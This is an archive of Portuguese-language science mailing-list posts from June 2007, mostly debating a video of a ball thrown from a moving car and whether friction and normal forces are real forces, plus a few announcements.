Bem... essa é toda a discussão, não? A bola, após tocar o chão uma
primeira vez, "violetamente" se lança na direção do carro.

Há dois movimentos característicos aqui: um que a bola descreve após
lançada e antes de tocar o chão (fase A) e um que a bola descreve
depois que toca o chão (fase B).

Pra esclarecer: a opinião majoritária parece-me ser (sempre do ponto
de vista da câmera estacionária):

Fase A: a bola se desloca levemente na direção do carro; causa: ter
sido lançada a uma velocidade menor que a do carro.

Deslocamento total: uns poucos centímetros

Fase B: a bola se desloca em grandes arcos a frente, quicando, até o
amortecimento parar e ela apenas rolar no chão.

Deslocamento total, algumas dezenas de metros.

> E como mostra o filme a inclinação já ocorre antes do primeiro toque
> no chão. C.q.d.
> Suas outras observações fora disso são apenas contraditórios
> especulativos.

Depende. Você acredita que o deslocamento final de dezenas de metros é
causado apenas pela força do vento sobre a bola?
JR - Não. Há outras possibilidades que poderiam dar essa aceleração ao tocar
no solo-pista... Mas são apenas conjecturas, não poderm ser afirmadas.
Percebe a diferença?

André

[]s

José Renato



SUBJECT: Re: [ciencialist] Re: Jogar uma bola a 100Km/h de um carro a100Km/h:osresultados
FROM: "André L F S Bacci" <andrebacci.listas@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 25/06/2007 22:49

On 6/25/07, José Renato <jrma@terra.com.br> wrote:
> Partindo desse principio, o arco inicial deveria ser maior ou menor
> que o segundo arco. Não apenas um sim ou não, mas em um valor
> percentual (não precisa ser exato).
> JR - Menor.
>
> Posto de outra forma. Se a força que impulsiona a bola a frente
> diminui rapidamente, pode o segundo arco ser 10 vezes maiores que o
> primeiro?
> JR - Não.

Obrigado.


> > A aceleração maior é proporcionada à bola nos instantes da
> > primeira trajetória em que ela cai ao chão após lançada. Isso é percebido
> > no
> > filme pela inclinação da trajetória de queda para a esquerda. As
> > diferenças
> > de velocidades entre a bola e o carro certamente deveria ser considerada
> > se
> > a inclinação da primeira trajetória fosse para a direita.
>
> Porque não deveria ser considerada se a bola caísse pra esquerda ou mesmo
> reta ?
> JR - Por seria apenas uma possibilidade não comprovável, enquanto que se
> fosse para a direita *certamente* haveria diferença de velocidades.

Não posso concordar com essa afirmação, em seus termos absolutos.
Acima uma certa "velocidade inicial" da bola (após o lançamento e em
relação a câmera estacionária), conhecidos grosso modo a densidade da
bola, do ar e a resistência desses dois objetos, é possível sim
considerar essa possibilidade factualmente. Na verdade, necessário

Se bem que o nitpick mesmo é que se "certamente" devemos considerar a
velocidade relativa do carro/lançamento em uma situação, deve haver um
motivo muito forte para não o fazer em todas as situações.


> > E como mostra o filme a inclinação já ocorre antes do primeiro toque
> > no chão. C.q.d.
> > Suas outras observações fora disso são apenas contraditórios
> > especulativos.
>
> Depende. Você acredita que o deslocamento final de dezenas de metros é
> causado apenas pela força do vento sobre a bola?
> JR - Não. Há outras possibilidades que poderiam dar essa aceleração ao tocar
> no solo-pista... Mas são apenas conjecturas, não poderm ser afirmadas.
> Percebe a diferença?

Sim, eu percebo.

Mas como só insistiu em uma única causa declarada para o movimento à
esquerda, o vento, ficou a impressão que só defendia exclusivamente
essa causa com único fator do movimento. Percebe?

Ou mais especificamente: você acha que a causa do deslocamento de
quase uma centena de metros da bola "a esquerda" é majoritáriamente
resultado do vento?

André


SUBJECT: Re: [ciencialist] Jogar uma bola a 100Km/h de um carro a100Km/h:osresultados
FROM: "André L F S Bacci" <andrebacci.listas@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 25/06/2007 22:56

On 6/25/07, José Renato <jrma@terra.com.br> wrote:
> JR2 - Existe um aumento significativo da bola ao quicar pela primeira vez na
> pista... Verdade. O que provoca isso? São diversas as possibilidades:
> rotação na bola, empuxo do vento, pista irregular, pedregulho na pista... A
> única possibilidade que não pode ser negada é o empuxo do vento provocado
> pelo carro. As demais são ilações não verificáveis...

Na verdade... é negável sim.

Observe que o vento atrás do carro não se comporta como uma "banda
passante", uma coluna de ar homegeneamente se movimentando atrás do
carro.

Grosso modo, forma-se turbilhões, redemoinhos, assimétricos. É um
pouco menos provável, mas NÂO descartável que a bola sofra um arrasto
para trás e não para frente, dependendo de que partes dos turbilhões a
bola percorra.

(ou no caso, que os turbilhões percorram através da bola)

Não?

Acredito que esse dado, não anteriormente considera, reduza o
argumento do vento a uma hipótese não verificável, pelos seus
critérios de certeza.

André


SUBJECT: O UNIVERSO
FROM: "Amauri N. Sanches Jr " <amaurij@gmail.com>
TO: Acropolis_@yahoogrupos.com.br, ciencialist <ciencialist@yahoogrupos.com.br>
DATE: 25/06/2007 23:03

http://www.ifi.unicamp.br/~ghtc/Universo/intro.html

--

Meu blog:
http://masterofdarkness.multiply.com/journal

É só se cadastrar nos link abaixo:

http://www.publipt.com/pages/index.php?refid=avoltaire






"Se vc não tem atitude, mantenha pelo menos a palavra!"

("Quem quer que haja construído um novo céu, só no seu próprio inferno
encontrou energia para fazê-lo!" Nietszche)

"Não importa o que fizeram a você.
O que importa é o que você faz com
aquilo que fizeram para você".

Jean-Paul Sartre (1905-1980)
Filósofo francês


[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: RES: [ciencialist] Jogar uma bola a 100Km/h de um carro a100Km/h:osresultados
FROM: "Ricardo" <ricardos@infolink.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 25/06/2007 23:57

Olá José Renato, acho que estamos de acordo em quase tudo, nesta questão.
Apenas algumas discordâncias.


> Existe um aumento significativo da bola ao quicar pela primeira vez na
> pista... Verdade. O que provoca isso? São diversas as possibilidades:
> rotação na bola, empuxo do vento, pista irregular, pedregulho na pista...
> A única possibilidade que não pode ser negada é o empuxo do vento
> provocado pelo carro. As demais são ilações não verificáveis...

Na verdade imagino ser possível que o movimento da bola seja causado pelo
vento, antes do 1o quicar da bola, mas não considero inegável.

Mas em relação ao ganho de velocidade após este 1o quicar, acho que
realmente teríamos que descartar como causa o vento provocado pelo carro.
Não faria sentido ele atuar durante toda a queda, de maneira praticamente
uniforme, mas gerar tal aceleração após o 1o quicar. De resto, também
considero todas as teorias como sendo não verificáveis, neste caso. Estamos
elencando as explicações factíveis, mas não descobrindo causas definitivas.
Também penso assim.

> O que vc não pode negar é que o vento, provocado pelo deslocamento
> do carro, promove a aceleração horizontal da bola para a esquerda a partir
> do lançamento.


O que eu não nego é a *possibilidade* de haver uma aceleração resultante do
vento. O que quero dizer é que é possível que ela seja totalmente
desprezível, ou seja, o deslocamento gerado horizontalmente talvez não seja
perceptível por mera observação do vídeo, de tão pequena sua participação. E
o deslocamento inicial que percebemos, que causa teria? Poderia ser causado
pela diferença inicial de velocidades na hora do lançamento, por exemplo.
Mas não acho que poderemos chegar a uma conclusão apenas observando o vídeo.


> Ricardo - Pode ser que o vento possa ter provocado o deslocamento ou não.
> Eu acho que não posso negar na mesma medida que você não pode afirmar.
> Infelizmente não teremos como saber, a não ser que, através de cálculos ou
> experimentação, possamos verificar as condições presentes no vídeo.
>
> JR2 - Eis o ponto! Eu posso afirmar que o empuxo provoca uma aceleração da

> bola, mas não posso afirmar que a bola se deslocou com maior velocidade
> para a esquerda porque ela possuia uma alta rotação adquirida na hora do
> lançamento... Isso é apenas suposição. Uma possibilidade não comprovável,
> apenas imaginada e lógica... Mas não comprovada pelo vídeo apresentado.

Na verdade, como disse acima, não acho também que o movimento horizontal
inicial da bola possa ser atribuído inegavelmente ao empuxo. A participação
do empuxo pode ser até imperceptível ao observador. Então acho que ficamos
só com possibilidades, mesmo.



> JR2 - Apesar do desvio de foco, este problema têm os mesmos componentes do

> referente ao avião sobre a esteira. Basta considerar que o carro tem uma
> carroceria tão grande quanto a correia e a bola se mantenha impulsionada
> por si mesma, mesmo após o lançamente, se deslocando com a velocidade do
> carro. A velocidade do carro será medida com referencial na pista-chão e a

> velocidade da esteira com o referencial do carro-lançador. Igualzinho ao
> que ocorre nesse problema apresentado pelo vídeo.

O problema é que a questão do avião têm um enunciado que não dá margem ao
uso de dois referenciais. Aqui não temos um enunciado. Você poderia
considerar 2 referenciais, como vc mesmo disse, ou apenas um, como um ponto
do carro, por exemplo: "Com o chão se movendo a 100km/h, abaixo do carro,
lançamos uma bola também a 100km/h, na mesma direção e sentido, então o que
deveria acontecer com a bola?". Não tem importância, pois não há realmente
uma questão, com um enunciado e a resposta certa no final.



No final das contas, estamos chegando a um ponto de vista parecido para esta
questão (do carro e da bola), eu acredito.


Um abraço,
Ricardo





SUBJECT: Re: RES: [ciencialist] Jogar uma bola a 100Km/h de um carro a100Km/h:osresultado
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 26/06/2007 02:33

--- Em ciencialist@yahoogrupos.com.br, "Ricardo" <ricardos@...>
> Mas em relação ao ganho de velocidade após este 1o quicar, acho que
> realmente teríamos que descartar como causa o vento provocado pelo
> carro.

Ou o vento é insignificante ou não é compatível com a simetria da
parábola.

Em http://br.groups.yahoo.com/group/ciencialist/files/ball4.JPG deixei
a figura com a marcação das distâncias horizontais e verticais
percorridas pela bola (estimativa).

A bola cai de uma altura de cerca de 1,20m. Desprezando-se a
resistêcia do ar, sua trajetória vertical é acelerada pela força peso.
Como a velocidade vertical inicial é zero, a equação horária do
movimento uniformemente acelerado se resume a:

-1,2 = -1/2.9,8.deltat^2
deltat1 ~ 0,494871659 s

Q é o tempo q a bola leva para atingir o solo. A velocidade vertical
no momento em que a bola toca o solo é de:
Vy1 = 9,8.0,494871659 ~4.849742261 m/s

Se considerarmos que o deslocamento horizontal da bola se deve à
aceleração provocada pelo vento, e se considerarmos a velocidade
horizontal inicial como igual a zero, a velocidade média horizontal da
bola seria:
Vmx1 = deltaS1/deltat1 = 0,35m/0,494871659 ~0,70725408 m/s
Se a aceleração foi constante, a velocidade final é dada por:
Vx1 = 2.Vmx1 = 1,41450816 m/s
A aceleração seria:
ax1 = Vx1/deltat1 ~2,858333333 m/s2

Essa aceleração já é muito estranha para ser proporcionada pelo vento.
A velocidade relativa do vento em relação à bola deveria ser de 17,76
m/s ou algo como 63,93 km/h.

Mas digamos q o carro provoque esse vento.

Pela razão entre as alturas inicias e a máxima após o quique podemos
calcular a velocidade de subida após o choque. Como a altura é
proporcional à energia potencial gravitacional máxima, q é
proporcional à energia cinética máxima, q é proporcional ao quadrado
da velocidade vertical máxima, a razão entre as alturas nos dá o
quadrado da razão entre os módulos das velocidades logo antes do
choque e logo depois do choque.

0,69/1,20 = (Vy1'/Vy1)^2
Vy1' = Vy1.(0,69/1,20)^0,5 ~ 3,67749915 m/s
O tempo de subida da bola pode ser calculado de modo similar ao tempo
de descida na primeira situação (tomando o cuidado para inverter o
sinal adequadamente conforme o sentido convencionado para o
deslocamento vertical):
0,69 = 1/2.9,8.deltat2^2
deltat2 ~ 0,375255015 s

Calculamos de modo similar a velocidade horizontal média e a
velocidade horizontal final:
Vxm2 = deltaS2/deltat2 = (1,25 - 0,35)/0,375255015 ~ 2,398369011 m/s
Vx2 = 2.Vxm2 - Vx1 = 3,408878407 m/s
ax2 = 5,314706443 m/s

ax2 > ax1 - o q não seria de se esperar para um vento q se dilui.

A aceleração ax2 demandaria uma lufada de 24,21 m/s - 87,17 km/h.

[]s,

Roberto Takata



SUBJECT: Força de atrito e força normal não existem!
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 26/06/2007 08:44

Olá pessoal
(em particular, JC, como professor e produtor de textos de física),

Em vários locais do Imperdível saliento a inexistência das forças de atrito e força normal e as trato como meras decomposições ortogonais da força total de apoio, em casos vantajosos.

Na nota final, por exemplo, do trabalho "O 'truque' do carretel", último item da Sala 05, destaco:
+++++
Nota 2: A 'força de atrito' e a 'força normal' não são forças reais; a superfície de apoio não aplica, separadamente, duas forças no corpo, aplica uma única que é a força total de apoio. Todavia, em algumas situações, é cômodo decompor a força total de apoio em dois componentes ortogonais e dai resultam as denominadas, força de atrito e força normal. Recomendamos uma leitura no Equilíbrio da Escada para assentar esse conceito. Repare que, quando se negligencia o atrito, permanece sempre a força total de apoio, que é 'normal' (perpendicular ao vínculo). Em outras situações essa decomposição ortogonal não é vantajosa. Além disso, vale a pena tomar os devidos cuidados, frente a um 'vestibular', quando a questão põe em destaque: "representar as forças que efetivamente agem no corpo".
+++++
Tenho recebido algumas imposições de 'professores de cursinhos', que insistem que tais forças são reais e não, como cito, "resultado de mera decomposição 'ortogonal', por vezes vantajosa, devido à lei empírica de Coulomb-Morin para o atrito seco (mü.N)".
Em resposta, costumo dar o contra exemplo da escada encostada na parede e apoiada em piso áspero e pergunto como é o diagrama das forças --- e como variam para mostrar, em aula, o 'diagrama do corpo livre' usando cordéis (experimento conhecido).

Que argumentam, em favor ou contra ?

aquele abraço,
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================


SUBJECT: RES: [ciencialist] Força de atrito e força normal não existem!
FROM: "J.Victor" <j.victor.neto@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 26/06/2007 11:04

Léo: A 'força de atrito' e a 'força normal' não são forças reais;



Victor: O conceito que tenho a respeito é um pouco diferente do que você
exprimiu acima. Para mim, força de atrito é uma força de contato.
Estabelece-se sempre que há contato entre duas superfícies. E independe de
sistemas de referências, no sentido de que existe num e pode não existir
noutro. Houve contato, em qualquer situação, há forças dessa natureza. Não é
como um força centrífuga, por exemplo, à qual não há como associar um corpo
de referência, e só depende de se o sistema é ou não acelerado.

Até onde sei, forças de atrito se estabelecem a nível interatômico, na forma
de forças elétricas e magnéticas. Por causa das inevitáveis saliências e
reentrâncias (rugosidades) as superfícies se encaixam e dificultam o
deslizamento, provocando calor e exigindo forças externas para mantê-lo.

Para mim, são reais até demais.

E elas são extremamente inconvenientes em muitas situações e absolutamente
necessárias em outras. Sem elas, não consigo andar; com elas, os rolamentos
de meu carro se estragam e gasto dinheiro. Mas tem uns rela-rela que são,
como diria, bons até demais, também... Como não são reais? A menos que meu
conceito de “real”, nesse caso, esteja bem furado.

Por isso, essa minha prosopopéia discordante de vossa afirmação.



Léo: a superfície de apoio não aplica, separadamente, duas forças no corpo,
aplica uma única que é a força total de apoio.



Victor: Talvez eu não haja compreendido o real sentido da sua afirmação
acima. Mas vou responder do jeito que acho que sei: a força de atrito tem
sempre a direção e sentido contrário ao movimento entre as superfícies; a
normal, como o nome já diz, lhe é perpendicular em cada ponto. Então, a
força total, composição dessas duas, é aquela força única que, aplicada numa
tal direção e num tal valor, faz o mesmo efeito mecânico que aquelas
componentes, na ausências destas, pois destas carrega todas as informações.
Nesse caso, seria um “tudo se passa como se assim fosse”, já que a
equivalência(e lá vem novamente essa palavra quase pornográfica...) em
relação aos efeitos, inclusive(e sobretudo) do ponto de vista energético,
seria perfeitamente identificada e cumprida. Quer dizer a força total, ou
resultante, conforme comentado, configura-se como um artifício matemático,
utilíssimo e indispensável, para facilitar cálculos e simplificar
problemas. Nesse sentido, a resultante, então, não passa de um monstrengo
geométrico e matemático repleto de todas as informações relevantes a
respeito das forças componentes estudadas.

Assim, no duro, no duro, o que provocam os prejuízos são as forças de
contato entre as superfícies, cujas imperfeições incontornáveis dão causa ao
atrito.

E não há jeito de você eliminar as forças de atrito entre duas superfícies.
Até onde me é dado saber.

Pode mudar o referencial de estudo como quiser. Aliás, nem com reza ou
milagre.

Sds,

Victor.





De: ciencialist@yahoogrupos.com.br [mailto:ciencialist@yahoogrupos.com.br]
Em nome de Luiz Ferraz Netto
Enviada em: terça-feira, 26 de junho de 2007 08:44
Para: ciencialist@yahoogrupos.com.br
Assunto: [ciencialist] Força de atrito e força normal não existem!



Olá pessoal
(em particular, JC, como professor e produtor de textos de física),

Em vários locais do Imperdível saliento a inexistência das forças de atrito
e força normal e as trato como meras decomposições ortogonais da força total
de apoio, em casos vantajosos.

Na nota final, por exemplo, do trabalho "O 'truque' do carretel", último
item da Sala 05, destaco:
+++++
Nota 2: A 'força de atrito' e a 'força normal' não são forças reais; a
superfície de apoio não aplica, separadamente, duas forças no corpo, aplica
uma única que é a força total de apoio. Todavia, em algumas situações, é
cômodo decompor a força total de apoio em dois componentes ortogonais e dai
resultam as denominadas, força de atrito e força normal. Recomendamos uma
leitura no Equilíbrio da Escada para assentar esse conceito. Repare que,
quando se negligencia o atrito, permanece sempre a força total de apoio, que
é 'normal' (perpendicular ao vínculo). Em outras situações essa decomposição
ortogonal não é vantajosa. Além disso, vale a pena tomar os devidos
cuidados, frente a um 'vestibular', quando a questão põe em destaque:
"representar as forças que efetivamente agem no corpo".
+++++
Tenho recebido algumas imposições de 'professores de cursinhos', que
insistem que tais forças são reais e não, como cito, "resultado de mera
decomposição 'ortogonal', por vezes vantajosa, devido à lei empírica de
Coulomb-Morin para o atrito seco (mü.N)".
Em resposta, costumo dar o contra exemplo da escada encostada na parede e
apoiada em piso áspero e pergunto como é o diagrama das forças --- e como
variam para mostrar, em aula, o 'diagrama do corpo livre' usando cordéis
(experimento conhecido).

Que argumentam, em favor ou contra ?

aquele abraço,
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br <mailto:leobarretos%40uol.com.br>
http://www.feiradeciencias.com.br/doacoes.asp
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[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: [ciencialist] Força de atrito e força normal não existem!
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 26/06/2007 13:00

Olá J. Victor,

acredito que não fui claro na apresentação da questão.

O vínculo, o apoio, oferece uma única força para o corpo apoiado, e é uma força de contato (vamos esquecer o 'contato eletromagnético'). Por exemplo, se vc coloca um bloco sobre um plano inclinado e ele fica em repouso, o plano aplica nele uma única força que será a equilibrante do peso ... e fim! Agora, se há interesse em decompor essa força única de apoio em duas ou três outras direções, por alguma conveniência, é outro papo.
Uma conveniência comum, e é aquela em que vc se baseia, é 'quebrar' essa força única em duas:
(a) uma perpendicular ao plano inclinado (por pura conveniência --- pois o sistema de referência poderia ser não ortogonal!) e dar-lhe o nome de "normal" (claro, vc fez a decomposição ortogonal!), mas cuja origem não existe (porque o plano escolheria essa direção e não outra?).
(b) outra na própria direção do plano, cuja origem também não existe, apelidada de força de atrito. Essa força decomposta foi estudada empiricamente e disso resultou o tal mü.N.

Pense: o plano inclinado deveria ter a superfície em forma de 'onda quadrada', com uma face paralela ao plano e outra perpendicular, para poder justificar a força de atrito e a 'normal' como elas são postas! Isso não existe!
Do mesmo modo, para justificar a Fat e a N, com bloco apoiado no plano horizontal e sendo solicitado para a esquerda, a superfície do bloco e a do plano deveriam ter a forma de onda quadrada.
Veja essas figuras em:
http://www.feiradeciencias.com.br/provisorio/contato1.jpg
http://www.feiradeciencias.com.br/provisorio/contato2.jpg

A superfície, tanto do corpo como do plano de apoio nada tem de 'onda quadrada', é uma irregularidade 'caótica', daí a resultante de todas as forcinhas de contato ser única, em geral inclinada em relação à vertical.

E então? .....

[]'

===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: "J.Victor" <j.victor.neto@uol.com.br>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: terça-feira, 26 de junho de 2007 11:04
Assunto: RES: [ciencialist] Força de atrito e força normal não existem!


Léo: A 'força de atrito' e a 'força normal' não são forças reais;



Victor: O conceito que tenho a respeito é um pouco diferente do que você
exprimiu acima. Para mim, força de atrito é uma força de contato.
Estabelece-se sempre que há contato entre duas superfícies. E independe de
sistemas de referências, no sentido de que existe num e pode não existir
noutro. Houve contato, em qualquer situação, há forças dessa natureza. Não é
como um força centrífuga, por exemplo, à qual não há como associar um corpo
de referência, e só depende de se o sistema é ou não acelerado.

Até onde sei, forças de atrito se estabelecem a nível interatômico, na forma
de forças elétricas e magnéticas. Por causa das inevitáveis saliências e
reentrâncias (rugosidades) as superfícies se encaixam e dificultam o
deslizamento, provocando calor e exigindo forças externas para mantê-lo.

Para mim, são reais até demais.

E elas são extremamente inconvenientes em muitas situações e absolutamente
necessárias em outras. Sem elas, não consigo andar; com elas, os rolamentos
de meu carro se estragam e gasto dinheiro. Mas tem uns rela-rela que são,
como diria, bons até demais, também... Como não são reais? A menos que meu
conceito de "real", nesse caso, esteja bem furado.

Por isso, essa minha prosopopéia discordante de vossa afirmação.



Léo: a superfície de apoio não aplica, separadamente, duas forças no corpo,
aplica uma única que é a força total de apoio.



Victor: Talvez eu não haja compreendido o real sentido da sua afirmação
acima. Mas vou responder do jeito que acho que sei: a força de atrito tem
sempre a direção e sentido contrário ao movimento entre as superfícies; a
normal, como o nome já diz, lhe é perpendicular em cada ponto. Então, a
força total, composição dessas duas, é aquela força única que, aplicada numa
tal direção e num tal valor, faz o mesmo efeito mecânico que aquelas
componentes, na ausências destas, pois destas carrega todas as informações.
Nesse caso, seria um "tudo se passa como se assim fosse", já que a
equivalência(e lá vem novamente essa palavra quase pornográfica...) em
relação aos efeitos, inclusive(e sobretudo) do ponto de vista energético,
seria perfeitamente identificada e cumprida. Quer dizer a força total, ou
resultante, conforme comentado, configura-se como um artifício matemático,
utilíssimo e indispensável, para facilitar cálculos e simplificar
problemas. Nesse sentido, a resultante, então, não passa de um monstrengo
geométrico e matemático repleto de todas as informações relevantes a
respeito das forças componentes estudadas.

Assim, no duro, no duro, o que provocam os prejuízos são as forças de
contato entre as superfícies, cujas imperfeições incontornáveis dão causa ao
atrito.

E não há jeito de você eliminar as forças de atrito entre duas superfícies.
Até onde me é dado saber.

Pode mudar o referencial de estudo como quiser. Aliás, nem com reza ou
milagre.

Sds,

Victor.





De: ciencialist@yahoogrupos.com.br [mailto:ciencialist@yahoogrupos.com.br]
Em nome de Luiz Ferraz Netto
Enviada em: terça-feira, 26 de junho de 2007 08:44
Para: ciencialist@yahoogrupos.com.br
Assunto: [ciencialist] Força de atrito e força normal não existem!



Olá pessoal
(em particular, JC, como professor e produtor de textos de física),

Em vários locais do Imperdível saliento a inexistência das forças de atrito
e força normal e as trato como meras decomposições ortogonais da força total
de apoio, em casos vantajosos.

Na nota final, por exemplo, do trabalho "O 'truque' do carretel", último
item da Sala 05, destaco:
+++++
Nota 2: A 'força de atrito' e a 'força normal' não são forças reais; a
superfície de apoio não aplica, separadamente, duas forças no corpo, aplica
uma única que é a força total de apoio. Todavia, em algumas situações, é
cômodo decompor a força total de apoio em dois componentes ortogonais e dai
resultam as denominadas, força de atrito e força normal. Recomendamos uma
leitura no Equilíbrio da Escada para assentar esse conceito. Repare que,
quando se negligencia o atrito, permanece sempre a força total de apoio, que
é 'normal' (perpendicular ao vínculo). Em outras situações essa decomposição
ortogonal não é vantajosa. Além disso, vale a pena tomar os devidos
cuidados, frente a um 'vestibular', quando a questão põe em destaque:
"representar as forças que efetivamente agem no corpo".
+++++
Tenho recebido algumas imposições de 'professores de cursinhos', que
insistem que tais forças são reais e não, como cito, "resultado de mera
decomposição 'ortogonal', por vezes vantajosa, devido à lei empírica de
Coulomb-Morin para o atrito seco (mü.N)".
Em resposta, costumo dar o contra exemplo da escada encostada na parede e
apoiada em piso áspero e pergunto como é o diagrama das forças --- e como
variam para mostrar, em aula, o 'diagrama do corpo livre' usando cordéis
(experimento conhecido).

Que argumentam, em favor ou contra ?

aquele abraço,
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Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br <mailto:leobarretos%40uol.com.br>
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SUBJECT: Re: [ciencialist] Força de atrito e força normal não existem!
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 26/06/2007 13:23

Segunda resposta à mensagem de J. Victor:

> Para mim, força de atrito é uma força de contato.
Léo: E a "força normal'', que tipo de força é? É de contato? Então, em cada ponto, o apoio aplica duas forças de contato? E, por que perpendiculares entre si?

> Até onde sei, forças de atrito se estabelecem a nível interatômico, na forma
de forças elétricas e magnéticas. Por causa das inevitáveis saliências e
reentrâncias (rugosidades) as superfícies se encaixam e dificultam o
deslizamento ...
Léo: E a 'força normal'? Não deve ser descrita da mesmíssima maneira como fez acima para a força de atrito?

> Como não são reais? A menos que meu conceito de "real", nesse caso, esteja bem furado.
Léo: A resultante nascida no apoio é "efetivamente" única ... ela é 'real'! Decompor, vc pode fazer em quantas direções interessar ... mas não são forças efetivas ... não são reais!
Pense numa barra pesada na horizontal e articulada numa parede vertical por uma extremidades. A força no vínculo (articulação) é única. Mas, se alguém perguntar com que força a barra comprime a parede vertical e que força vertical devemos aplicar na ponta livre da barra, no equilíbrio, sem dúvida vc decomporá essa força vincular em duas: uma perpendicular à parede e outra paralela à parede ... por conveniência. Essas forças componentes, da decomposição, não existem efetivamente!

> Quer dizer a força total, ou resultante, conforme comentado, configura-se como um artifício matemático,
utilíssimo e indispensável, para facilitar cálculos e simplificar problemas.
Léo: É justamente o contrário! A força total ou resultante é a efetiva e os componentes (um artifício matemático utilíssimo e indispensável em alguns casos) são postos para simplificar os problemas. (hic!)

E vamos que vamos ...

[]'

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Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
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-----Mensagem Original-----
De: "J.Victor" <j.victor.neto@uol.com.br>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: terça-feira, 26 de junho de 2007 11:04
Assunto: RES: [ciencialist] Força de atrito e força normal não existem!


Léo: A 'força de atrito' e a 'força normal' não são forças reais;



Victor: O conceito que tenho a respeito é um pouco diferente do que você
exprimiu acima. Para mim, força de atrito é uma força de contato.
Estabelece-se sempre que há contato entre duas superfícies. E independe de
sistemas de referências, no sentido de que existe num e pode não existir
noutro. Houve contato, em qualquer situação, há forças dessa natureza. Não é
como um força centrífuga, por exemplo, à qual não há como associar um corpo
de referência, e só depende de se o sistema é ou não acelerado.

Até onde sei, forças de atrito se estabelecem a nível interatômico, na forma
de forças elétricas e magnéticas. Por causa das inevitáveis saliências e
reentrâncias (rugosidades) as superfícies se encaixam e dificultam o
deslizamento, provocando calor e exigindo forças externas para mantê-lo.

Para mim, são reais até demais.

E elas são extremamente inconvenientes em muitas situações e absolutamente
necessárias em outras. Sem elas, não consigo andar; com elas, os rolamentos
de meu carro se estragam e gasto dinheiro. Mas tem uns rela-rela que são,
como diria, bons até demais, também... Como não são reais? A menos que meu
conceito de "real", nesse caso, esteja bem furado.

Por isso, essa minha prosopopéia discordante de vossa afirmação.



Léo: a superfície de apoio não aplica, separadamente, duas forças no corpo,
aplica uma única que é a força total de apoio.



Victor: Talvez eu não haja compreendido o real sentido da sua afirmação
acima. Mas vou responder do jeito que acho que sei: a força de atrito tem
sempre a direção e sentido contrário ao movimento entre as superfícies; a
normal, como o nome já diz, lhe é perpendicular em cada ponto. Então, a
força total, composição dessas duas, é aquela força única que, aplicada numa
tal direção e num tal valor, faz o mesmo efeito mecânico que aquelas
componentes, na ausências destas, pois destas carrega todas as informações.
Nesse caso, seria um "tudo se passa como se assim fosse", já que a
equivalência(e lá vem novamente essa palavra quase pornográfica...) em
relação aos efeitos, inclusive(e sobretudo) do ponto de vista energético,
seria perfeitamente identificada e cumprida. Quer dizer a força total, ou
resultante, conforme comentado, configura-se como um artifício matemático,
utilíssimo e indispensável, para facilitar cálculos e simplificar
problemas. Nesse sentido, a resultante, então, não passa de um monstrengo
geométrico e matemático repleto de todas as informações relevantes a
respeito das forças componentes estudadas.

Assim, no duro, no duro, o que provocam os prejuízos são as forças de
contato entre as superfícies, cujas imperfeições incontornáveis dão causa ao
atrito.

E não há jeito de você eliminar as forças de atrito entre duas superfícies.
Até onde me é dado saber.

Pode mudar o referencial de estudo como quiser. Aliás, nem com reza ou
milagre.

Sds,

Victor.



SUBJECT: Genismo (Junho/2007)
FROM: Jocax <jocax@usp.br>
TO: Genismo <Genismo@yahoogroups.com>
CC: ateus <ateus-br@yahoogroups.com>, Professor <Professor-online@yahoogrupos.com.br>, Nacionalismo-Br <Nacionalismo-br@yahoogroups.com>, acropolis_@yahoogrupos.com.br, argumentos-critica@yahoogroups.com, ciencialist@yahoogrupos.com.br
DATE: 26/06/2007 14:34

Caros,
Está on-line os novos textos do web-site do GENISMO
(http://www.genismo.com )

Destacando:

A "Meta-Ética-Científica" - Jocax explica como trazer, finalmente, a
Ética e a Moral para o domínio da ciência(Maio/2007)
http://www.genismo.com/metatexto44.htm

Os Guardiões da Pirâmide - Neste texto Jocax faz uma dura crítica ao
capitalismo e mostra como essa ideologia afeta todos os ramos de nossas
vidas.(Outubro/2006).
http://www.genismo.com/genismotexto44.htm

"O Nada-Jocaxiano" - Jocax explica o conceito que permite que o Universo
possa surjir do Nada (Junho/2007)
http://www.genismo.com/logicatexto23.htm

"A Navalha de Ocam e a Navalha de Jocax" - Entenda a "Navalha de Ocam" e
saiba porque ela é tão importante para o pensamento racional.(Maio/2007)
http://www.genismo.com/logicatexto24.htm



Entre dezenas de outros.

Confira:
http://WWW.GENISMO.COM

[]s
Jocax








[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: ENC: Relatividade, Segundo Marcelo Crotti.
FROM: "J.Victor" <j.victor.neto@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 26/06/2007 15:43



-----Mensagem original-----
De: JVictor [mailto:jvoneto@uol.com.br]
Enviada em: terça-feira, 26 de junho de 2007 11:32
Para: 'ciencialist@yahoogrupos.com.br'
Cc: 'relatividad@yahoogroups.com'
Assunto: Relatividade, Segundo Marcelo Crotti.


Lista,
O autor me pediu para submeter suas teorias à sapiência dos participantes do
Ciencialist. O espanhol dá para ler legal.
Disse a ele que o faria, mas não garantiria retornos.

Espero haver me enganado.

Solicito, pois, que os interessados nesse empolgante(para mim, sempre
empolgante) tema vejam o Capítulo VI de seu livro (e os dois seguintes, VII
e VIII), que expressam a base dos raciocínios do autor e seus conseqüentes
